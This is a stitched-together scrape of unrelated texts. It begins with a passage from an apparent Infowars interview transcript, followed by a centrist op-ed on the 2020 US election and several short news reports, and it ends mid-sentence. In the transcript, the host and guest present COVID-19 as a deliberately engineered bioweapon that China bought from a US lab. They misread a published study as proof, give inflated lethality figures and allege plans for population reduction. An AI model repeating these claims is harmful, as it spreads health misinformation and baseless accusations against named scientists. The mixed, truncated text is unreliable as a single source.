pressure. But now we have four very distinguished life scientists here. Yes, thats it right there. And the smoking gun here is on page 11, near the bottom, the last full paragraph from the bottom where it says, may provide a gain of function to coronavirus for efficient spreading in the human population Alex: Explain what that gain of function means because not all of us are experts on this like you, Doctor. Dr. Boyle: Right. Well gain of function Oh, so let me repeat. Alex, as I told you before, gain of function technology is DNA genetic engineering of a dangerous biological warfare substances to begin with Alex: Its a souping up of already bad pathogens. Dr. Boyle: Right. Its a turbo charging and gain of function work can only be done safely in a BSL-4 or a BSL-3 facility. So, I think clearly, this is the smoking gun that the Wuhan coronavirus came out of that BSL-4 facility. Alex: So, does this mirror what the Indian Institute said or is this different? Dr. Boyle: Well, I think it goes beyond what the Indian study said, but well get to that in a minute, the Indian study. Okay. I think, you know, Ive now, excuse me provided the smoking gun here. This is clearly a weaponized biological warfare agent and there is no legitimate scientific or medical use for gain of function technology, DNA technology on biowarfare Alex: So, theres no excuse that its a vaccine test that got out. Dr. Boyle: Thats baloney. This is clearly an offensive biological warfare agent and it has no legitimate medical or other Alex: This is beyond sensational. Is that why were seeing the very serious response to it? Dr. Boyle: Well, you know, Alex, we first discussed this over three weeks ago and theyre still attacking me for being a conspiracy theorist and fake news and Im a nutcase and a nutjob and everything else. So, theres been a massive fight back in all the mainstream news media against this. And indeed, as I told you before, Id been completely censored out of all the mainstream news media here in the United States. Alex: But everything you said been confirmed and now major scientific groups come out and confirmed it. Lets get back to that smoking gun and recap that and get to all the other documentation straight ahead. [program break] Alex: Well, we have a leading expert in international law whos led major delegations in the US government; expert in biological weapons, anti-terrorism; responsible for drafting the Biological Weapons Anti-terrorism Act that got adopted as world law, Dr. Francis Boyle here.And Im reading the same studies hes reading. More scientists come out and look at it and say this thing is manmade and they show how, and they say its conclusive. You know these major Indian Institutes came out and said the same thing three weeks ago. And so, were going to walk through more of these studies in this segment- next segment but just as a father, as a citizen, as a human, as a citizen of the planet Earth. Im going to ask Dr. Boyle what he really thinks the end game is here. Was this accidentally released as we were hoping and thats bad enough or is it something even more sinister? Are they using this as the excuse to invade Taiwan as theyre now doing? Dr. Boyle. Please continue with the studies, the spike of, then we have the whole breakdown here with the study. Dr. Boyle: All right, well, now let me get to the second study, which is another smoking gun and a bombshell, Alex; theres no other word for it. You remember in our previous interview, you asked me if this had come out of the BSL-4 facility in Winnipeg, Canada was stolen out of there. I said that that could have happened. Winnipeg is our equivalent of Fort Detrick. They do every type of hideous, offensive Nazi-type biological warfare work up there you can possibly imagine. But again, on the basis of materials, scientific materials, I had a chance to read over the weekend. I have changed my opinion on that. I think I have the definitive evidence where this came from and it came from the BSL-3 biowarfare lab at the University of North Carolina. Now I have condemned them before because they have done gain of function work, DNA genetic engineering on every hideous biological warfare agent you can imagine including MERS at that time, Middle East Respiratory Syndrome agent, which again, is a biowarfared coronavirus. Now it just came to my mind Alex: Say that again because were going to pull this up as you speak. You said the other study we pulled it up. Dr. Boyle: Study [inaudible] was there gain of function DNA genetic engineering on MERS, which is Middle East Respiratory Alex: and that was the University of? Dr. Boyle: North Carolina. Right? They have a BSL-3 biowarfare lab there. Alex: Oh, thats something I keep reading that they do level four stuff at level threes, right? Dr. Boyle: I think they are, but theyre doing it with a level three. The last I saw, thats all they had. But let me go through this study. Its entitled A SARS-like cluster of circulating bat coronaviruses shows potential for human emergence. Alex: Say it again because we have radio listeners. Hundreds of stations. A SARS-like cluster- the name of the paper- A SARS-like cluster Dr. Boyle: A SARS-like cluster of circulating bat coronaviruses shows potential for human emergence. Alex: Thats 2015, December 21st. We have it on screen. Dr. Boyle: That is correct. Nat Med, thats it. Now, if you look through this carefully, first notice who was involved in this DNA genetic engineering of SARS, which is already a biological warfare agent to give it gain of function activities. And it has all these people there from the University of North Carolina at Chapel Hill. It has someone from the Food and Drug Administration, so you cant trust the Food and Drug Administration. And then at the very bottom of the list, who is involved? Zhengli-Li Shi, Key Laboratory of Special Pathogens and Biosafety, Wuhan Institute of Virology, Chinese Academy of Sciences, Wuhan, China. So its very clear to me that this scientist from the Wuhan Institute of Virology got this gain of function technology for SARS from this University of North Carolina lab. And he didnt steal it or he or she didnt steal it. What happened was, if you read carefully to the end of the article acknowledgements, they acknowledged a National Natural Science Foundation of China award. In other words, the Chinese government paid them to have one of their top biological warfare experts involved in this type of Alex: By the way, Dr. Boyle, stay right there. Dr. Boyle: Sure. Alex: Im reading the paper. I mean, I know you had big news, you sent us links, but Im just now reading it. And you talk about smoking gun this is the Chinese government paying for the exact same thing with a US lab. How did you discover this? This is a smoking gun. How the hell did you find this? Dr. Boyle: Well Alex, I told you that its part of my professional responsibilities to stay on top of biological warfare, so I came across it in my research. Thats just part of the job I do. Alex: Youre explaining it very well sir, but just dumb it down and we got our next guest is great, were going to move tomorrow. This is too big and now youve got time, so dumb it down for everybody. Why these two papers are so smoking gun because Im sitting there looking at this. This is incredible. This is unbelievable. Dr. Boyle: I have more than that. Alex: Oh, I know. Dr. Boyle: I noticed they acknowledged National Natural Science Foundation of China Award. In other words, these best scientists at the University of North Carolina took dirty money from China to allow that one of their top biowarfare experts from this Wuhan Institute of Virology and Wuhan, which has the BSL-4 facility, they knew exactly what they were doing, and they permitted this Chinese scientist to work with them to give gain of function biowarfare DNA genetic capability to SARS, which is dangerous enough to begin with. And let me just go through some of the language here. It is truly a smoking gun; clearly that laboratory must be shut down of immediately and all those scientists investigated by the United States government for this and their responsibility here and for violating my Biological Weapons and Terrorism Act of 1989. But let me continue. This is what they said. We built a chimeric virus that encodes a novel zoonotic spike protein in the context of viable SARS. This approach characterized the threat posed by SARS coronavirus spike Alex: Dr. Boyle, stay there. We got to go to break. This is your bombshell. Im reading the paper right here. They are admitting that they built the very virus that China paid the US to build and now thats been released. And why did they release it? So Xi Jinping could grab power and invade Taiwan. Wow. This is unbelievable. No matter what youve ever heard on this show, this is the craziest and the most documented. This is over the top and weve caught them red handed. Unbelievable. Well be right back. Tell everybody you know to tune in right now. This is unbelievable. [program break] Alex: I dont want to get metaphysical here, but my dad is a retired oral surgeon and dentist and hes also developed some drugs that got approved with the Pentagon and some other things. And hes got an office over here and he works here part time. And there was something about todays show with Dr. Boyle coming on I said, you know, my dads got that skull from medical school. Thats a real skull. And one of my earliest memories is being like two, three years old, and the skulls in a black box and I like toddle over and open it up. I drop it on the floor and the German shepherd ran out in the backyard with it. My dad got real pissed off. He said, Thats important. You respect that. Thats a real skull. So, one of my earliest memories is a German shepherd running out in the backyard with a skull. But its just funny, I thought todays show, I didnt know why, I just went and said, Dad, can I put your skull on air? Hes got it in the office, and he said, Yes, just respect the skull and everything is fine. But the point is, is that this is real. Something big is going on. And now Im looking at all these prestigious reports going back five years ago, how they engineered this, and Dr. Francis Boyle wrote the US biological weapons law, and hes here laying this out and I can read the reports. Its ridiculous how obvious this is that the Chinese paid a US university thats all over the news. Yale and Harvard are in trouble for 300-something million but turns out its billions total. Thats Wall Street Journal, New York Times, for Chinese communist funding. So, for whatever reason, were better at science than they are and theyre getting us to finance and build their surveillance grid, all of it. So, for whatever archetypal reason today, Im like, I want a skull on the show today. I mightve showed this skull in 20 something years on air once or twice. Why did I go get the skull? I just thought like today I should like do that to point out that were all human and its like Macbeth, sitting there when they dig up his old teacher and hes talking to the skull. So, thats all in the middle of this. Dr. Boyle. Please go back to where you were before we went to break and how big this is and whats breaking here and the double smoking guns here. And even more youve got of where this came from because thatll give us the answer hopefully of where its going. Dr. Boyle: Right. Well, to continue then, it says this approach characterized the threat posed by a spike in primary human airways. In other words, theyre designing this to infect human beings by their airways and then it says, in vivo. In other words, they are using live animals Alex: Slow down and start over. Again, give them the papers name again. This is so huge. Theyre making it to infect people. Youre right. They should be arrested. Dr. Boyle: Of course, they should be prosecuted. No question at all about it. Thats the, I think, the one you already had up there. But in any case Alex: Im going to stop interrupting. Just recap what you just said. Walk through this again. Dr. Boyle: Right. We built a chimeric virus, so they joined these different biological warfare agents together into a chimera, as I told you, swine flu was Alex: And you said three weeks ago it was a chimera. Dr. Boyle: Chimera, right. And here they are doing it to have a spike in primary human airway cells in vivo. Thats surrogates for us, okay. Now if you continue here, they took mice and with their technique here found robust replication comparable to SARS. Alex: Wonderful. Dr. Boyle: So, theyre using the gain of function technology Alex: Theyre testing it to make sure it spreads quickly. Dr. Boyle: Thats right. And its not that just SARS, its gain of function. Together the data confirmed the ability to infect human airway cells, et cetera. They know exactly what they are doing here. Alex: I mean, just like Ford makes F-150 trucks, you just found who made this and theyre openly bragging about it. Dr. Boyle: Right. Let me continue. Together the data indicate that viruses utilizing what they put together are capable of inducing considerable disease in mice in the context of basically SARS. Alex: Wow. And again, SARS is the same coronavirus family. Dr. Boyle: Right. Its weaponized coronavirus. They also conclude that they really couldnt find an antibody against it. Alex: Wow. Dr. Boyle: So, its extremely dangerous. Alex: Total jerks. Dr. Boyle: Let me continue then Alex: Im just starting to ask, you know, these people better be arrested really quick. Dr. Boyle: Right. Now, let me continue here where they say their new DNA genetically engineered virus constitutes a gain in pathogenesis. Thats a gain of function right there; they admit it. Pathogenesis means lethality and infectiousness and we know that even Lancet has said lethality is about 15%. If you disaggregate numbers even put out by the Chinese government, its about 17%. So, together these data represent a crossroads of gain of function research concerns and they just make it clear theyre going to continue anyway. They also point out that they involved HIV based pseudo virus, prepared as previously described Alex: which is what the Indians found. Oh my God. Dr. Boyle: Thats why I was going to get to that. HIV is Alex: This is ridiculous. Dr. Boyle: No, no. This is the type of Nazi biowarfare work these scientists do, Alex. Alex: Oh, no, I agree. But theyre publishing. Theyre admitting they did it. Dr. Boyle: Let me continue, Alex. In a footnote it says, Cells were originally obtained from Fort Detrick. Alex: Oh my God. Dr. Boyle: Thats a biowarfare Alex: So that means US government biowarfare Creek was running this. Dr. Boyle: They were involved in it, too. Yes. Alex: Jesus. Let me ask you this. When you learned this, this weekend, what was it like? Was your heart beating faster? Dr. Boyle: No, I decided to, well, notify your assistant there Monday morning and then later that morning, CNN in India did an interview with me on this, but that was only for about 20 minutes. And then I had to go back to my teaching. But you know, this is what I do professionally Alex: No, I know, but this is unbelievable. Im reading the report right here from five years ago. Obviously, I dont think the university knew that this would be used for this, but what did they think they were doing when they were giving a foreign authoritarian government a bioweapon? I mean Dr. Boyle: Well, its all greed. They were paid for. Alex: Its like you said, they just take the money, like you said, three weeks ago Dr. Boyle: from communist China and their top biowarfare expert. Alex: Well, heres an example. I own 50 caliber rifles. If a known criminal came to me and said, I want to buy them, Id say, Hell, no. You dont give criminals 50 caliber rifles. Well, 50 caliber rifles are dangerous, but nothing compared to this. What the hell is going on? How are you as weapons research laboratories under the guise of safety research allowed to give the ChiComms stuff like this? Youre right. Ive been on here 25 years. Ive never seen a scandal this big. Its all right here. They admit it. Dr. Boyle: Its even worse than that because all this work, this biological weapons work involving the Wuhan virology, was approved and funded by the National Institutes of Health Alex: Wow. Dr. Boyle: which Ive discussed with you before, and the National Institute of Allergy and Infectious disease. Okay. I told you before, these agencies were up to their eyeballs in research development and testing offensive biological warfare weapon. Alex: Dr. Boyle, stay there. Youre a great professor and amazing. When we come back, youve got to recap it all and boil it down for the average viewer, because Im smart, the viewers are smart, but Ive been on air- Im not just being dramatic- Ive been on air 25 years. Ive never been this shell-shocked. Im reading these main line reports; we pulled these up from the internet. This is it. This is the very virus five years ago, cooked up, sold to Chinese government. I know you dont speculate, but when you come back, why is it out now? Whats the end game? How bad is it going to get? [program break] Alex: (Edited out promotional talk about storable food) This is big, front and center. What were covering right now with Professor Dr. Francis Boyle and the admissions that a US university engineered the exact virus now spreading across the world. So, finishing up with its provenance, the fact that these are the smoking guns, sir, in synopsis, I know that limits the time we have, and I really appreciate it. Come back tomorrow if you can and then get into big picture the response, how you think it got out, why it was released. I mean, I know thats speculation, but we know its engineered; we know the US government knows its engineered. We know this happened before Trump five years ago, but still just how the hell could this happen? Dr. Boyle: Well, let me go back here to this second study to point out it says at the end, the current manuscript has been reviewed by the funding agency, the National Institutes of Health. Continuation of these studies have been requested and approved by the National Institutes of Health. Notice the National Institutes of Health under Fauci is funding this Nazi biological warfare work and they have approved and requested further development of it, which obviously, this study was 2015 and the NIH wanted it to become even a more deadly pathogenetic virus. And you can also then see here the money from the National Institute of Allergy and Infectious Disease. This woman, I think you pronounce her name, [INAUDIBLE]) is out there now in public or shes up to her eyeballs in this too, as is Fauci. And finally, I originally condemned this North Carolina lab because doing gain a function work on MERS as I said. Today in USA Today, Tony Fauci admits that the lethality rate of MERS is about 36%, whereas SARS is 10%. This Wuhan is 15% to 17%. So, notice Tony Fauci and the National Institute of Health Alex: are backtracking. Dr. Boyle: No, they know full well that they were paying this North Carolina lab in cooperation with the Wuhan BSL-4 lab and program to develop biological warfare weapons Alex: Is that why Senator Cotton and even the White House were like, Hey, China, we dont buy the provenance of this, because they know China paid a US university to do this. Let me ask you this then. How bad is it going to be? Why did China do this? I know thats speculation, but as just a citizen, not just a lawyer and an expert on this, what the hell what do you think the end game is? Why is this out now? Will they use it against Taiwan? We know China bought it as a bioweapon. Dr. Boyle: Well, let me just discuss one more scientific article with you. Archives of Virology 2010, 155. And here, Wuhan was working with an institute in Australia to DNA genetically engineer a super bioweapon involving SARS and HIV. Thats right in here; you can read it, okay. And apparently it was successful. So as far as I can tell, Alex, what happened was, the Wuhan is to the virology took the and this was the Australian government knew all about this. And it says this work was jointly funded by the State Key Program for Basic Research Grants from the Chinese Ministry of Science, Technology and the Knowledge. And the other writer here, Australian Animal Health Laboratory in Australia. So as far as I can figure out here, what happened here, Alex, is that the Wuhan scientists took the North Carolina SARS with gain of function, which is already a biological warfare weapon, and they took the technology here behind this well-developed SARS HIV weapon and they all brought it back to the Wuhan a BSL-4 and tried to DNA genetically engineer it into a chimera, into a biological warfare weapon involving the coronavirus, the HIV virus and gain of function. Alex: Its all clear in the papers. They admit they did this. Youve reverse engineered it: an incredible job. Do you think it was done on purpose then? Who stands to gain? [INAUDIBLE] as a law professor, who would do this? Who stands to gain? Dr. Boyle: Well, clearly China has an expensive biological warfare program. They have- not as expensive as ours. I mean, we have 12 BSL-4 facilities here in the United States all doing this Nazi biowarfare work. They should all be shut down tomorrow as well as Alex: Oh, I totally agree. And then giving China the fruits of it. The ChiComms can come buy bioweapons from us? Dr. Boyle: They bought it. What is interesting here, Alex, is that they didnt steal it; they bought it. And we sold it to them, and we sold them access to it. They brought it back to that Wuhan BSL-4 Alex: Is there any race specificness to it? Dr. Boyle: Well, as I said before, we have seen one black African victim reported that Ive seen. So, right now, I am withholding judgment on that, but you know, the Chinese put all this together for themselves. And of course, they were planning to use it as biological warfare against us. Theres no I mean, who else Alex: Do you think that it got out on an accident or what do you think? Dr. Boyle: As of now, Alex, I think it was an accident. The BSL-4 facility had leaks of SARS at least twice before and I believe it was an accident and that is now confirmed by Chinese scientists themselves. And this is the fourth study I want to put before you Alex: Stay there. Well do five more minutes before Paul Watson takes over. With Dr. Francis Boyle, the author of the US Biological Weapons convention and all the rest of it. Ive been on air 25 years folks, and this just tops it all. I mean, were talking about our children the whole future, everything else. I had this premonition this morning. I said, let me just get that skull my dads got from his medical days. Let me bring this in here just as like a little prop to just think about mortality and the fact that were all mortal and there it is. And now were just laying this out. This is just end of day stuff. If not this, itll be something else. I mean, what are these labs doing? Why are they selling it to foreign governments? It needs to stop. Its mad scientist behavior. They want to reduce world population. They want to distribute it out so they can deny who did it. They just want plausible deniability for bioweapons releases and mass population reduction. Thats really whats happening. [program break] Alex: Weve seen the panicked response of governments in action, but their propagandas everythings fine. Dr. Francis Boyle is our guest here for another five minutes. Paul Joseph Watson is set to take back over. Our guest authored the US bioweapons law that became international law. In the four minutes weve got left, Doctor, we really appreciate you synopsizing or boiling it all down into what you really think is happening in the bombshells. And this new study you were trying to get into on top of all the other studies you just talked about. Dr. Boyle: Right. This is the latest study. It just came out this week. Possible origins of 2019 nCoV coronavirus. What is significant here- you can get it at ResearchGate. What is significant here is that it is by two professors at the South China University of Technology theyre all professors. And their conclusion of this study is that the Wuhan coronavirus leaked out of that BSL-4 facility. Let me repeat even Chinese scientists are saying now, independently of me, it leaked out. And I believe it was probably an accident that there was a one of these death scientists there at the Wuhan BSL-4 facility trying to DNA genetically engineer the North Carolina technology, the Australian technology, HIV, SARS, gain of function together into the super biological warfare weapon and somehow got infected. Theres been speculation by these authors that animal residue, or they breathed it in or something like that. That person then got infected, but since its asymptomatic, they werent aware of it. And now, even though theyre saying its 14 days, a British healthcare expert estimate it could be 24 days. Whoever this expert was, this death scientist went out around and did his normal life activities for the next 14 to 24 days and it was spread all around Wuhan. Alex: Oh, they were playing with fire and they got burned. Dr. Boyle: Right. They shot themselves in the foot, Alex. Thats my assessment at this time, yes. They were using it I think they were developing it for use against either us or the Russians and/or the Russians. They have a huge border up there. Alex: Yes, the whole Russian-Sino split. Dr. Boyle: Right. Thats no longer the case today, but still, Russia has a lot of land there and China and not very many people. Alex: Sure, they can wipe out the Russians, thats their target. [INAUDIBLE] trail. Dr. Boyle: And China has a lot of people and they need more land, so Im not ruling out it would have been directed Alex: Sure. Chinas always been eyeing Russia greedily. All right. All powerful. If you can come back tomorrow, the next day we need updates. This is the biggest news ever. And I would just say that this is unbelievable. The reports, the scientific journals, Dr. Boyle incredible. What do we call this interview? Were still alive. I mean, I dont know what to call this once we post it on Infowars. Dr. Boyle: Well, Alex, let me also say we cant trust the FBI to do the right thing here. They lied about, they covered up and they sabotaged the Amerithrax coming out of Fort Detrick. We are going to have to get some other federal law investigative agencies in here to deal with that North Carolina Alex: And you authored the US law on bioweapons, so I think youre quite the authority on that. So, again, please join us again tomorrow or whenever you can. Dr. Boyle. Very powerful information and just amazing. Thank you so much. Dr. Boyle: Well, thank you Alex and I do hope you can get this out around the world because the mainstream news media in the United States and Europe has been blackballing me and blacklisting Alex: Well, sure. I dont even know what to call this. Smoking Gun, Wuhan Virus, Manmade Spreading Worldwide, Cover Up. I mean, China bought weaponized Wuhan Virus from us. Thank you, Dr. Boyle. Paul Watson takes over right now. end transcript Dear fellow Americans, On Nov. 3 of this year, we, the American people, face one of the greatest tests in our recent history: a test of courage and great responsibility. But that test will require of us to have done our homework. It will be preceded by a series of check points, the first of which we are already beginning to encounter, leading up to the selection of a Democratic candidate and our only hope for the possible return to the path of progression. It is by no means news to anyone that populist and extremist waves are flooding the western world, putting in jeopardy our democracies and the values of liberalism which we hold so dear. These ever-growing tides use discourses which fabricate winners and losers, victims and culprits, in order to weave bonds among certain sectors of the population, while creating increasingly deeper cleavages with the others. It should also come as no surprise that according to Gallups most recent data, the American electorate has reached the largest degree of political polarization in any presidential year measured by Gallup. Currently eighty-seven percentage points separate Republicans' (94%) and Democrats' (7%) average job approval ratings of President Donald Trump. Further evidence of this increasing polarization can be found in The New York Times recent Democratic primary candidate endorsement. While the journals editorial board acknowledges that given their track record, one would expect them to endorse the most traditional Democratic candidate in the race, on this occasion they decided to endorse two different candidates, one which they consider to have a more realist model, and the other which they openly define as having a radical model. What has occurred for the most iconic newspaper in the United States, the very newspaper which gave way to the concept of newspaper of record, to endorse a candidate coming from the far-left side of the Democratic playing field? Given the increasing radicalization of Democrats as a reaction to the policies of a Republican president governing from the other extreme, if the Democrats are worried about the possibility of beating Trump, perhaps their best chance of winning is honestly with a highly progressive, left-wing candidate. But is winning enough? As put forth by The New York Times editorial team, there are legitimate questions about whether our democratic system is fundamentally broken. To defy the aforementioned waves of populism and extremism which have inundated to varying degrees governments in the Americas and Europe over the last few years, we must resist the temptation to take the easy road and attempt to cancel out the currents with populism of another color. We have not a simple chore before us. After three years of an administration which has failed to govern in the best interests of the majority of Americans, pushing forth a radical, protectionist and backwards-looking agenda, we cannot run the risk of allowing our country to continue down that path four additional years. This would undoubtedly send us into a dangerous spiral which would be difficult to rectify and would cause long-term damage to our democracy and institutions. However, to allow for someone the other pole of the spectrum to take the reins can be equally dangerous. In Federalist No. 10, James Madison writes about the dangers of factions and possible mechanisms to protect the American people from their excessive influence in government. Madison understood factions as peoples united and actuated by some common impulse of passion, or of interest, adversed to the rights of other citizens, or to the permanent and aggregate interests of the community. It may be presumptuous to claim that any one of the proposed Democratic candidates have platforms adversed to interests of the community, but a government in the hands of anyone coming from the extremes of the political spectrum, is certainly adverse to progress. Nearly two hundred years ago, Alexis de Tocqueville traveled to the United States where he analyzed and marveled at the success of democracy in America. Perhaps today, two centuries later, it is our turn to look to the French for some guidance through these increasing polarized times. Following the French presidential elections of 2017, Emmanuel Macron, the young, centrist victor stepped onto a stage before the emblematic Louvre Pyramid, with Beethovens Ode to Joy (the European Anthem) blasting in the background, in order to address the French people. The newly elected President opened his speech boldly reaching out to those with views very different to his own: This evening I also want to address the French who voted for me without sharing our ideas, began Macron. I know it is not a blank check. I want to address the French who voted simply to defend the Republic against extremism. I am aware of our disagreements, I will respect them, but I will be faithful to this commitment: I will protect the Republic. Macron continued courageously, and finally I want to address those who voted today for Madame Le Pen - do not whistle at them- today they expressed anger, disarray I respect them [and] Ill do everything possible in the next five years to make sure they have no reason to vote for extremes. The patriotism evoked by Macron by appealing to those ideologically different, including directly to his adversary, is much closer to that of our founding fathers (John Hancock sustained that patriotism is ever united with humanity and compassion), than that which we may encounter today on either side of the aisle in our own country. For that reason, in face of the upcoming Democratic primaries, which will decide whether we will finally have the opportunity to come out of next Novembers test with a good mark, we must not lose sight of the spirit with which our country was founded and our unique role in its conservation- much like the French people did upon electing Emmanuel Macron. According to Hancock, it is the indispensable duty of every member of society to promote, as far as in him lies, the prosperity of every individual, but more especially of the community to which he belongs. And to cite another Founding Father, Patrick Henry, in his iconic Give me liberty, or give me death speech: if we wish to be free- if we mean to preserve inviolate those inestimable privileges for which we have been so long contending- if we mean not basely to abandon the noble struggle in which we have been so long engaged we must fight! Fellow Americans, the future is in our hands. Although the gap between Democrats and Republicans is perhaps at its widest, we cannot forget that that gap is populated by a mostly silent, chunk of voters in the middle who do not have loudly extremist or partisan views (FT) and that according to the latest Gallup poll numbers (January 2-15, 2020), 45% of the American electorate still considers itself to be independent. Although it can certainly be argued that those independents are increasingly deviating from the center, its worth noting that the percentage of voters that consider themselves independent has grown 6 percentage points since the end of October 2019. It is up to us to capitalize on that trend and build a moderate, centrist and pragmatic project that will be capable of steering the country forward. As stressed by Macron in his victory speech, we must build A majority of change. Its what the country aspires to achieve, and it is what the country deserves. Only with that majority of change will we be capable of standing up to the storm of populism and extremism and facing the other societal, technological and environmental challenges which are upon us and here to stay. In their official endorsement, the New York Times editorial board proposes an ambitious, yet fundamental task: Democrats must decide which of their two models would be most compelling for the American people and best suited for repairing the Republic. Fellow Americans, upon making this first decision and finally casting our vote in November, I ask that we keep the following words written by the late Senator, John McCain, in his farewell message to the American people, in the back of our minds: We weaken our greatness when we confuse our patriotism with tribal rivalries that have sown resentment and hatred and violence in all the corners of the globe. We weaken it when we hide behind walls, rather than tear them down. Only with a will to build bridges and identify what unites us, will the democracy we fought so hard to construct, be capable of withstanding the test of time. Cristina Apgar Pastor is a Connecticut-bred, Spanish-American political communications and policy specialist, currently working as coordinator of the national policy team at Citizens Party (Ciudadanos), the leading centrist party in Spain. Metro Manila (CNN Philippines, February 21) Over 2,000 employees and artists of ABS-CBN Broadcasting Corporation took to the streets Friday evening with other groups to call for the renewal of the network's expiring franchise. Police estimated the crowd at 2,500, dressed in white, some carrying candles and placards saying "#YestoABSCBNFranchiseRenewal" around the company compound in Quezon City. Among them were showbiz personalities such as actors Jericho Rosales and Coco Martin. Martin was also joined by his co-stars in his popular series "Ang Probinsyano." Rosales, who starred in numerous shows or teleseryes by the company, said he joined the crowd to show his gratitude to the network. I dont have reason not to be here. Andito lang ako dahil [I am here just because] Im grateful for ABS-CBN," he told CNN Philippines during the rally. He said ABS-CBN projects help viewers. "Marami pong nabibigyan ng hope 'yung mga nakakapanood ng mga teleserye namin, ng mga shows namin sa ABS-CBN so para sa kanila po kami, kaya kami nandito," he added. [Translation: Our teleseryes and shows in ABS-CBN give many people, our viewers, hope, so we are here for them.] Groups such as the National Union of Journalists in the Philippines and Altermidya, political parties Bayan Muna and Gabriela and the University of the Philippines College of Mass Communication were also in the rally. This is the second gathering in two weeks to support the network after Solicitor General Jose Calida filed a quo warranto petition to nullify its franchise before it lapses on March 30. He also sought for a gag order to prevent the network from discussing the case in public, something which he considered an attempt to draw sympathy from viewers. Media groups have criticized Calida's move as an attack on media freedom. ABS-CBN CEO and President Carlo Katigbak on Thursday said the network does not have to stop operations, and they are ready to follow the legal process. The Senate scheduled a hearing on issues against the network and its franchise on February 24. On the other hand, House Speaker Alan Peter Cayetano said the House is too busy to tackle 11 bills seeking a fresh 25-year franchise for ABS-CBN. President Rodrigo Duterte has stood firmly against renewing the franchise, citing his hatred for "oligarchs" and the company's alleged failure to air his political ads in 2016. CNN Philippines Correspondent Paolo Barcelon contributed to this report. Prince Harry and his wife Meghan will no longer use the "Sussex Royal" label when they begin their new life outside the royal inner circle in the spring, their spokeswoman said Friday. The couple will formally step down as senior royals from March 31 and will no longer carry out duties on behalf of Queen Elizabeth II after that date. "The Duke and Duchess of Sussex do not intend to use 'SussexRoyal' in any territory post Spring 2020," said the spokeswoman. They will also not use the name for their new non-profit organisation, due to be announced in the coming months, she added. The couple currently use the name for their popular Instagram account and a website set up after their shock announcement. They also have made dozens of trademark applications for various products. They announced on Wednesday that their new life will begin on April 1, when they will give up their office at Buckingham Palace -- the queen's London residence. Harry, the 35-year-old second son of the heir apparent Prince Charles, will remain sixth in line to the throne, with no change in the line of succession. The former army officer will also keep his military ranks of major, lieutenant commander and squadron leader in the army, navy and air force, the spokeswoman announced. He and Meghan, 38, will continue to be known as the Duke and Duchess of Sussex. They have been living in a luxury mansion on Canada's Pacific west coast with their baby son Archie since the New Year. Harry and Meghan first used the Sussex Royal name when they created their own household following a split from brother Prince William. Harry and Meghan will formally step down as senior royals from March 31 Panaji, Feb 21 : Karnataka may be celebrating too early following the Supreme Court's nod on Thursday to notification of the Mhadei Water Dispute Tribunal award, Goa BJP spokesperson Narendra Sawaikar said on Friday, even as Chief Minister Pramod Sawant said his government would seek a stay in the apex court to prevent Karnataka from obtaining permissions required for diversion of Mhadei water. Addressing a press conference here, Sawaikar also said the BJP-led coalition government in Goa is committed to ensuring that Karnataka is not allowed to divert water from the inter-state river. "Notification is a part of the procedure and that is why it has come up. Just because the notification has been allowed and Karnataka and some opposition leaders (in Goa) have been jumping with joy, it does not mean that Karnataka has won," Sawaikar told mediapersons at the party's state headquarters here. "Till the SC does not deliver its judgement on the matter, we don't believe the Mhadei matter has been resolved. Our say in the matter of the award is pending. Our contempt petition is also pending," Sawaikar said. On Thursday, the apex court allowed notification of the Mhadei Water Dispute Tribunal award given in 2018 on a request made by the Karnataka government. Karnataka has claimed that the apex court's nod for notification of the award is a major victory towards its efforts to divert water from the Mhadei river through the Kalasa-Banduri dam project. The Goa government, as well as the state BJP, insists that the nod is technical in nature and the state's appeal against the provisions of the Tribunals' award has also been admitted in the apex court and is expected to come up for hearing in July this year. "Notification of the award does not mean Karnataka has been permitted to divert water. Our appeal has also been admitted," Sawaikar said. Four members of a Massachusetts family were killed in a crash near Walt Disney World in Florida. The Smith family was in a rental van when police say they were rear-ended by a pickup truck Tuesday night on State Road 429 near Celebration, Florida. The van rolled over, killing 5-year-old Scarlett Smith; her mother, 41-year-old Julie Smith, of Whitman; and her grandmother, 76-year-old Josephine Fay, of Weymouth. Jackson Smith, 11, later died of his injuries at Arnold Palmer Children's Hospital, according to Florida Highway Patrol officials. Scarlett's twin sister, a 10-year-old sibling, their father and their grandfather suffered minor injuries. They have been released from the hospital. Police said two other vehicles were hit by the truck during the crash. All other injuries are considered non-life-threatening. According to the police report, all members of the Smith family were wearing seat belts at the time of the crash. The Florida Highway Patrol said charges against the 26-year-old truck driver were pending. In Whitman, every home in the Smith family's neighborhood lit a candle Wednesday night in honor of the victims. Its very hard to comprehend. Our hearts are absolutely broken, said neighbor Sheila Howard. Its just a sad thing to think about. I had just seen the kids, you know, and you have that vision of them playing in the yard. Flowers were also left in front of Fay's home in Weymouth. Scarlett and her twin sister attended preschool at the Merry-Deb Child Care & Learning Center. Their preschool teacher said the girls were counting down the days to their family vacation in Florida. "The girls were very excited about going. They couldn't wait," said Darlene Staples. "They were a wonderful family. They did a lot of trips together. "Our hearts are absolutely broken. We're just trying to get through (the day)." Officials with the Whitman-Hanson Regional School District said counselors will be available for students when they return from February vacation next week. "It's awful. It really is," said Superintendent Jeff Szymaniak. "I think we'll go through that as we go hour by hour, day by day as a district. But I think the family should be in our thoughts and prayers." In doing so, let us be realists and acknowledge that, to put our country back on its rails will not be an event, but a process. There are no quick fixes. We must be bold and stay on course, always seeking sustainable means to resolve our challenges. Let us act and speak with the collective good in mind and never be blinded by individual or sectoral benefits. Back in his home state, U.S. Sen. John Cornyn can shake his head in disbelief at the energy-related proposals hes hearing while at work in Washington, D.C. Democrats are issuing proposals to attain zero-carbon use, leading presidential candidates are calling for all-out bans on hydraulic fracturing. To me, thats the very definition of dumb, he said Wednesday night as he addressed the Permian Basin Water in Energy Conference. Lets not forget the pie-in-the-sky dreams like the Green New Deal, a range of unrealistic environmental and social policies under one umbrella that would cost $92 trillion to attain, he said at the conference dinner at the Petroleum Club. Cornyn told the audience that at the value of one years worth of Texas oil and gas production, it would take seven centuries to pay for the Green New Deal. He said with that way of thinking, fossil fuels are the cause of every woe from poverty to hunger, wage disparity to crime. To the contrary, he said, oil and gas has lifted billions across the planet out of poverty. RELATED: BEG plans to create water consortium Cornyn said, that like most of those in the clubs ballroom, I consider myself a conservationist. But the cost of environmental stewardship isnt $93 trillion. We dont need to bankrupt the country to implement policies we already know wont work. It is possible to support the oil and gas industry and conservation at the same time, he said. There are ways to produce oil and gas while also protecting water resources and reducing emissions, he said. The way is not command and control from Washington, D.C., he said. Its empowering the leaders to innovate and work. Let the United States take its place -- 